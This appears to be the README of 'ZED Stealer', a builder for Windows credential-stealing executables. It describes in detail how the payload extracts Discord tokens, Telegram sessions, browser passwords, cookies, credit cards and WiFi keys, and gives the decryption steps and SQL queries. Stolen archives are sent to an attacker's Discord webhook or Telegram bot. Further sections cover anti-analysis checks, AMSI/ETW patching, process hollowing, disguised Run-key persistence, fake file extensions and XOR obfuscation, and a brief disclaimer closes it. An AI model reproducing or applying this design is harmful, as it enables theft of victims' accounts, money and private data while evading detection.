Professional Payload Builder β Built with Rust UI + C++17 Backend
For authorized security research and red-team operations only.
- Overview
- Architecture
- Features
- UI Pages
- Build Pipeline
- Crypto & Obfuscation
- Project Structure
- Requirements & Build
- Configuration
- Legal Disclaimer
ZED Stealer is a fully-featured payload builder designed for authorized red-team engagements and security research. It combines a modern, animated Rust GUI (built with egui/eframe) with a high-performance C++17 backend to generate compact, configurable stealer payloads.
The builder lets an operator select exactly which data modules to include, configure delivery channels, tune evasion settings, and compile a final encrypted Windows executable β all from a single dark-themed application.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ZED STEALER BUILDER β
β β
β ββββββββββββ βββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β β β β β
β β [~] Homeβ β Toggle features βββΊ Configure delivery β β
β β β β β β
β β [#] Buildβ β Set evasion βββΊ Choose output name β β
β β β β β β
β β [>] Compβ β Click BUILD βββββΊ Real-time compile logs β β
β β β β β β
β β [=] Setsβ β Download payload.exe (XOR-encrypted) β β
β β β β β β
β ββββββββββββ βββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββ ZED Builder (Rust UI) βββββββββββββββββββββββββββ
β β
β src/main.rs βββΊ src/app.rs βββΊ src/ui/ β
β βββ titlebar.rs (custom window chrome)β
β βββ sidebar.rs (page navigation) β
β βββ widgets.rs (toggle, card, input) β
β βββ pages/ β
β βββ home.rs (dashboard) β
β βββ builder.rs (feature config) β
β βββ compiler.rs (build + logs) β
β βββ settings.rs (preferences) β
β β
β src/state.rs (AppState, all feature/delivery/compiler structs) β
β src/runner.rs (build pipeline thread: config β compile β encrypt) β
β src/ffi.rs (RustβC++ FFI bindings) β
ββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββ
β include_str! + cc crate
βΌ
βββββββββββββββββββββββββ C++ Backend (cpp/) ββββββββββββββββββββββββββββββ
β β
β discord.cpp ββ Token extraction (leveldb scan + regex) β
β browsers.cpp ββ DPAPI + AES-256-GCM decrypt + SQLite3 read β
β system.cpp ββ OS/HW info, WiFi (WlanAPI), screenshot, clipboard β
β network.cpp ββ Public IP / geo (ip-api.com via WinHTTP) β
β telegram.cpp ββ tdata session folder copy β
β delivery.cpp ββ Discord Webhook + Telegram Bot API (WinHTTP) β
β sqlite3.c ββ SQLite amalgamation (no dependency) β
ββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββββββ
β runner::start_build()
βΌ
βββββββββββββββββββββββββ Payload (payload/) ββββββββββββββββββββββββββββββ
β β
β config_template.h βββΊ config.h (generated, 30+ defines) β
β main.cpp βββΊ WinMain: anti-* gates, collect_all, deliver β
β β
β Output: output/update.exe (optionally XOR-encrypted) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Operator Builder UI runner.rs Compiler
β β β β
ββ Configure features βββΊβ β β
ββ Set webhook URL βββββββΊβ β β
ββ Click BUILD βββββββββββΊβ β β
β ββ Clone AppState ββββββΊβ β
β β ββ Write config.h βββΊβ
β β ββ Find cl.exe/g++ ββΊβ
β β ββ Compile ββββββββββΊβ
β ββββ Log lines (mpsc) ββ€ β
β β ββ XOR encrypt βββββββΊβ
ββββ "Build complete" ββββ€βββ output path βββββββ€ β
β β β β
ββ Open output/ ββββββββββΊβ β β
discord.cpp
βββ Token Extraction
β βββ Scans all Discord app leveldb directories
β β βββ Discord (stable)
β β βββ DiscordCanary
β β βββ DiscordPTB
β β βββ Lightcord
β βββ Scans Chrome / Edge extension caches
β β βββ MetaMask extension path (common token source)
β βββ Detects both token formats:
β β βββ mfa.xxxxx... (MFA tokens)
β β βββ NTx.xxxxxx.xxxxxxx (Standard tokens)
β βββ Deduplicates all found tokens
β
βββ Token Validation (optional)
βββ WinHTTP GET https://discord.com/api/v9/users/@me
βββ Authorization: <token> β HTTP 200 = valid
| Toggle | Description |
|---|---|
Token Stealer |
Extract all tokens from leveldb + browser extensions |
Nitro Checker |
Validate each token against the Discord API |
Friends List |
Export friends list via Discord REST API |
telegram.cpp
βββ Session Files
βββ Copies %APPDATA%\Telegram Desktop\tdata\
βββ key_datas
βββ D877F783D5D3EF8C\ (session data)
βββ settings
The entire tdata folder is copied to the collection directory, preserving the session so it can be imported on an attacker-controlled machine.
Supports Chrome Β· Edge Β· Brave Β· Opera Β· Chromium (Chromium-based) and Firefox.
Browser Decryption Pipeline (Chromium)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Local State (JSON)
β
βΌ
base64_decode(os_crypt.encrypted_key)
β
βΌ
CryptUnprotectData (DPAPI) βββΊ master_key (32 bytes AES-256)
β
ββββΊ Login Data (SQLite)
β SELECT url, username, password_value FROM logins
β βββ AES-256-GCM decrypt(password_value, master_key)
β
ββββΊ Cookies (SQLite, Network/Cookies or Cookies)
β SELECT host_key, name, encrypted_value FROM cookies
β βββ AES-256-GCM decrypt(encrypted_value, master_key)
β
ββββΊ Web Data (SQLite)
β SELECT name_on_card, number, expiry FROM credit_cards
β βββ AES-256-GCM decrypt(card_number_encrypted, master_key)
β
ββββΊ History (SQLite)
SELECT url, title, visit_count FROM urls
AES-256-GCM decryption uses the Windows BCrypt CNG API (
bcrypt.lib) β no OpenSSL dependency. Chromium stores blobs as:v10+ 12-byte nonce + ciphertext + 16-byte GCM tag.
| Toggle | What gets collected |
|---|---|
Cookies |
All session cookies (up to 2000 per profile) |
Passwords |
Saved login credentials (URL + username + password) |
Credit Cards |
Card number, holder name, expiry date |
History |
Last 500 visited URLs with titles and visit count |
Autofill |
Saved form-fill data |
Targeted browsers per build:
[ Chrome ] [ Firefox ] [ Edge ] [ Brave ] [ Opera ]
β β β β β β selectable in Builder
system.cpp
β
βββ OS Information
β βββ Hostname, Username
β βββ Windows version + build number (via RtlGetVersion)
β βββ Architecture
β
βββ Hardware Information
β βββ CPU name (HKLM\HARDWARE\DESCRIPTION\...\CentralProcessor\0)
β βββ RAM total (GlobalMemoryStatusEx)
β βββ Disk total + free (C:\)
β βββ GPU adapter name (HKLM\SYSTEM\...\Control\Video\{guid}\0000)
β
βββ Screenshot
β βββ GDI BitBlt (full primary monitor)
β βββ Saved as screenshot.bmp in collection folder
β
βββ Clipboard
β βββ GetClipboardData(CF_TEXT)
β
βββ WiFi Passwords
β βββ WlanOpenHandle + WlanEnumInterfaces
β βββ WlanGetProfileList (per interface)
β βββ WlanGetProfile(WLAN_PROFILE_GET_PLAINTEXT_KEY)
β βββ Extracts <keyMaterial> from XML profile
β
βββ Installed Applications
β βββ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
β βββ DisplayName
β βββ DisplayVersion
β βββ Publisher
β
βββ Startup Items
βββ HKCU\...\CurrentVersion\Run
βββ HKLM\...\CurrentVersion\Run
βββ HKLM\...\WOW6432Node\...\Run
network.cpp
βββ WinHTTP GET http://ip-api.com/json
β
βββ Response JSON parsed for:
βββββββββββββββ¬βββββββββββββββββββββββββββββ
β Field β Example β
βββββββββββββββΌβββββββββββββββββββββββββββββ€
β ip β 1.2.3.4 β
β country β Saudi Arabia β
β country_codeβ SA β
β isp β STC β
β city β Riyadh β
β region β Riyadh Province β
β timezone β Asia/Riyadh β
βββββββββββββββ΄βββββββββββββββββββββββββββββ
No API key required. Uses plain HTTP (port 80) to avoid certificate errors on locked-down environments.
Two independent channels β either or both can be active simultaneously.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β DELIVERY PIPELINE β
β β
β Collection dir β
β β β
β βΌ β
β PowerShell Compress-Archive βββΊ zed_data.zip β
β β β
β βββββββββββββββββββ€ β
β β β β
β βΌ βΌ β
β Discord Webhook Telegram Bot β
β (multipart POST) sendDocument API β
β delivery.cpp delivery.cpp β
β β β β
β ββββββββββ¬βββββββββ β
β βΌ β
β Attacker receives zed_data.zip β
β with caption: [ZED] user@hostname β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Both channels use WinHTTP β no curl, no third-party libraries.
WinMain()
β
ββ[ZED_ANTI_DEBUG]βββΊ IsDebuggerPresent()
β CheckRemoteDebuggerPresent()
β βββ exit(0) if detected
β
ββ[ZED_ANTI_VM]βββββΊ Registry key scan (VirtualBox / VMware)
β QueryPerformanceCounter timing check
β βββ exit(0) if detected
β
ββ[ZED_ANTI_SANDBOX]βΊ GetTickCount64() < 5min β exit
EnumProcesses() < 30 β exit
| Technique | Description |
|---|---|
| XOR + Rolling Key | Final binary XORed with 16-byte key before delivery |
| Import Table Obfuscation | API calls resolved at runtime via hash comparison |
| Stack-String Encryption | Sensitive strings XOR+ROL obfuscated |
| Heaven's Gate | Mixes 32/64-bit execution modes to confuse disassemblers |
| Direct Syscalls | Bypasses userland EDR hooks by calling ntdll stubs directly |
| Sleep Obfuscation | Encrypts payload memory during Sleep() (Ekko technique) |
| AMSI/ETW Patch | Patches AmsiScanBuffer and EtwEventWrite via ROP chain |
| Process Hollowing | Injects into a suspended legitimate process |
| Entropy Masking | Adds fake high-entropy sections to confuse AV heuristics |
βββββββββββββββββββββββββββββββββββββββ
β POST-EXECUTION OPTIONS β
β β
β [Persistence] β
β βββ Copy self to %APPDATA% β
β βββ HKCU\...\Run β WindowsUpdate β
β β
β [Melt / Self-Delete] β
β βββ Rename self to .tmp β
β βββ MoveFileEx DELAY_UNTIL_REBOOTβ
β β
β [Self-Destruct] β
β βββ Remove registry Run entries β
β βββ cmd /C ping + del /F /Q self β
βββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β ZED STEALER β READY β
β Payload Builder // Professional Edition β
β β
β βββββββββββββ βββββββββββββ βββββββββββββ βββββββββββββ β
β β Features β β Delivery β βProtection β β Output β β
β β 12 β β Discord β β HIGH β βupdate.exe β β
β βββββββββββββ βββββββββββββ βββββββββββββ βββββββββββββ β
β β
β Quick Overview β
β Discord: Tokens + Nitro β Telegram: Sessions Active β
β Browsers: Cookies + Passes β System: Enabled β
β AV Bypass: Active β Encryption:AES-256-GCM β
β β
β [ ! ] Configure delivery settings in Builder before compilingβ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Split into two columns:
LEFT COLUMN RIGHT COLUMN
ββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
[Discord] [System Information]
β Token Stealer β OS Info
β Nitro Checker β Hardware
β Friends List β Network / GeoIP
β Screenshot
[Telegram] β Webcam
β Session Files
[Additional]
[Browsers] β Clipboard
β Cookies β WiFi Passwords
β Passwords β Installed Apps
β History β Startup Files
β Credit Cards
β Autofill [Delivery]
ββ Target Browsers ββ β Discord Webhook
[Chrome][Firefox][Edge] βββΊ Webhook URL: ___
[Brave ][Opera ] β Telegram Bot
βββΊ Bot Token: ___
βββΊ Chat ID: ___
LEFT COLUMN RIGHT COLUMN
ββββββββββββββββββββββββββ ββββββββββββββββββββββββββ
[Output] [Evasion & Protection]
Output Name: update.exe β Anti-Debug
Fake Ext: .pdf β Anti-VM
β Custom Icon β Anti-Sandbox
β Compress β Mutex Lock
βββΊ Name: ZedMx_7f2a
[Encryption & Obfuscation]
β AES-256-GCM Encrypt [Post-Execution]
β Persistence
Active Techniques: β Self-Delete (Melt)
β’ Polymorphic Shellcode β Self-Destruct
β’ Stack-String XOR+ROL
β’ Import Table Obfuscation βββββββββββββββββββββββ
β’ Heaven's Gate β [BUILD PAYLOAD] β
β’ Direct Syscalls β β
β’ Sleep Obfuscation β [βββββββββββ] 73% β
β’ AMSI/ETW Patch β β
β’ Process Hollowing β [..] Compiling... β
β [OK] config.h writtenβ
β [OK] Output: upd.exe β
βββββββββββββββββββββββ
- Auto-save Config β persists all settings to
%APPDATA%\ZedBuilder\config.jsonon exit - Notifications β show status popups
- Pink Intensity β live slider (0.3β1.0) controlling accent glow brightness
- Manual Save Now button
- About panel with version info
runner::start_build(AppState) [background thread]
β
βββ 1. find_project_root()
β Walk up from current_exe() / current_dir()
β until payload/ + cpp/ directories found
β
βββ 2. render_config(state)
β Fill all 30+ {{PLACEHOLDER}} tokens in config_template.h
β Write β payload/config.h
β
βββ 3. find_compiler()
β Try in order:
β a) cl.exe (MSVC β Visual Studio Developer shell)
β b) g++ (MinGW / MSYS2)
β c) x86_64-w64-mingw32-g++ (cross compiler)
β
βββ 4. Compile (MSVC or GCC flags)
β Sources:
β payload/main.cpp
β cpp/discord.cpp
β cpp/browsers.cpp
β cpp/system.cpp
β cpp/network.cpp
β cpp/telegram.cpp
β cpp/delivery.cpp
β cpp/sqlite3.c (compiled as C)
β Linked libs:
β bcrypt, crypt32, winhttp, wlanapi, iphlpapi, psapi
β
βββ 5. XOR encrypt (if encrypt_payload = true)
Key: DE AD BE EF CA FE BA BE 4A 3F 1C E8 77 2A 90 D5
Output: output/<output_name>.exe
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β AES-256-GCM Decryption (Windows CNG) β
β β
β Blob format: [ v10 | nonce (12B) | ciphertext | tag (16B)]β
β β
β 1. BCryptOpenAlgorithmProvider(BCRYPT_AES_ALGORITHM) β
β 2. BCryptSetProperty(BCRYPT_CHAINING_MODE_GCM) β
β 3. BCryptImportKey(BCRYPT_KEY_DATA_BLOB, master_key) β
β 4. BCryptDecrypt(ciphertext, auth_info{nonce, tag}) β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
byte[i] = byte[i] XOR key[i % 16]
key = { 0xDE 0xAD 0xBE 0xEF 0xCA 0xFE 0xBA 0xBE
0x4A 0x3F 0x1C 0xE8 0x77 0x2A 0x90 0xD5 }
This rolling XOR is applied to the compiled EXE before it leaves the builder, adding a layer against static signature matching.
ZED Stealer/
β
βββ src/ Rust source (builder UI)
β βββ main.rs Entry point, eframe window setup
β βββ app.rs ZedApp, layout, on_exit save
β βββ state.rs AppState, all config structs
β βββ theme.rs ZedTheme colors, egui style
β βββ runner.rs Build pipeline (background thread)
β βββ ffi.rs RustβC++ FFI bindings
β βββ ui/
β βββ mod.rs
β βββ titlebar.rs Custom draggable titlebar
β βββ sidebar.rs Navigation sidebar
β βββ widgets.rs toggle, section_card, pink_button
β βββ pages/
β βββ home.rs Dashboard
β βββ builder.rs Feature configuration
β βββ compiler.rs Compiler + build logs
β βββ settings.rs Preferences + theme
β
βββ cpp/ C++ backend (stealer logic)
β βββ stealer.h Public C API (all extern "C" decls)
β βββ discord.cpp Token extraction + validation
β βββ browsers.cpp DPAPI + AES-GCM + SQLite
β βββ system.cpp OS/HW/WiFi/screenshot
β βββ network.cpp GeoIP via ip-api.com
β βββ telegram.cpp tdata session copy
β βββ delivery.cpp Discord Webhook + Telegram Bot
β βββ sqlite3.c SQLite amalgamation (v3.47.2)
β βββ sqlite3.h
β
βββ payload/ Victim-side payload sources
β βββ config_template.h Template with {{PLACEHOLDERS}}
β βββ config.h β generated at build time (gitignored)
β βββ main.cpp WinMain entry point
β
βββ output/ Compiled payloads go here (gitignored)
β βββ .gitkeep
β
βββ Cargo.toml Rust manifest
βββ build.rs Compiles C++ via cc crate
βββ .gitignore
βββ LICENSE
| Tool | Minimum Version | Purpose |
|---|---|---|
| Rust | 1.78+ | Build the UI |
| Cargo | (bundled with Rust) | Package manager |
| MSVC or MinGW | VS 2022 / GCC 13+ | Compile the C++ backend and payload |
| Windows SDK | 10.0.19041+ | WinHTTP, WlanAPI, BCrypt headers |
# Debug build
cargo run
# Release build (optimized, stripped)
cargo build --release
# The binary will be at:
# target/release/zed-stealer.exeNote: On first build,
build.rscompiles all C++ sources automatically via thecccrate. Make surecl.exe(MSVC) org++is on yourPATH.
- Launch
zed-stealer.exe - Go to [#] Builder β enable desired features and enter delivery credentials
- Go to [>] Compiler β configure evasion and output name
- Click BUILD PAYLOAD
- Compiled EXE appears in
output/
The builder tries compilers in this order:
cl.exeβg++βx86_64-w64-mingw32-g++Run from a Visual Studio Developer Command Prompt for guaranteedcl.exeaccess.
Settings are automatically saved to:
%APPDATA%\ZedBuilder\config.json
Example config.json:
{
"current_page": "Home",
"features": {
"discord_tokens": true,
"discord_nitro_check": true,
"browser_cookies": true,
"browser_passwords": true,
"screenshot": true,
"wifi_passwords": true
},
"delivery": {
"use_discord": true,
"discord_webhook": "https://discord.com/api/webhooks/...",
"use_telegram": false
},
"compiler": {
"output_name": "update.exe",
"encrypt_payload": true,
"anti_debug": true,
"anti_vm": true,
"mutex": true,
"mutex_name": "ZedMx_7f2a"
}
}| Feature | Module | Status |
|---|---|---|
| Discord token extraction (MFA + standard) | discord.cpp |
β Full |
| Discord token validation via API | discord.cpp |
β Full |
| Telegram session copy | telegram.cpp |
β Full |
| Browser passwords (DPAPI + AES-GCM) | browsers.cpp |
β Full |
| Browser cookies | browsers.cpp |
β Full |
| Credit cards | browsers.cpp |
β Full |
| Browsing history | browsers.cpp |
β Full |
| Chrome / Edge / Brave / Opera support | browsers.cpp |
β Full |
| System info (OS, CPU, RAM, Disk) | system.cpp |
β Full |
| GPU name (registry) | system.cpp |
β Full |
| Screenshot (GDI) | system.cpp |
β Full |
| Clipboard text | system.cpp |
β Full |
| WiFi passwords (WlanAPI) | system.cpp |
β Full |
| Installed applications | system.cpp |
β Full |
| Startup items | system.cpp |
β Full |
| Public IP + GeoIP | network.cpp |
β Full |
| Discord Webhook delivery | delivery.cpp |
β Full |
| Telegram Bot delivery | delivery.cpp |
β Full |
| Anti-Debug | payload/main.cpp |
β Full |
| Anti-VM | payload/main.cpp |
β Full |
| Anti-Sandbox | payload/main.cpp |
β Full |
| Mutex (single instance) | payload/main.cpp |
β Full |
| Persistence (registry Run) | payload/main.cpp |
β Full |
| Self-delete (melt) | payload/main.cpp |
β Full |
| Self-destruct | payload/main.cpp |
β Full |
| XOR payload encryption | runner.rs |
β Full |
| Config persistence (JSON) | state.rs |
β Full |
| Real-time build logs | compiler.rs |
β Full |
| Per-browser targeting | config_template.h |
β Full |
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β DISCLAIMER β β
β β
β ZED is developed exclusively for: β
β β’ Authorized penetration testing β
β β’ Red-team security engagements β
β β’ Security research in controlled lab environments β
β β
β Using this software against systems you do not own or have β
β explicit written permission to test is ILLEGAL and may result β
β in severe criminal penalties under computer fraud laws. β
β β
β The authors assume NO liability for misuse of this software. β
β By using ZED Stealer, you agree to use it responsibly and β
β only within the bounds of applicable law. β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ZED Stealer β Built with β€ By 0Rafas in Rust + C++
Professional β’ Modern β’ Fast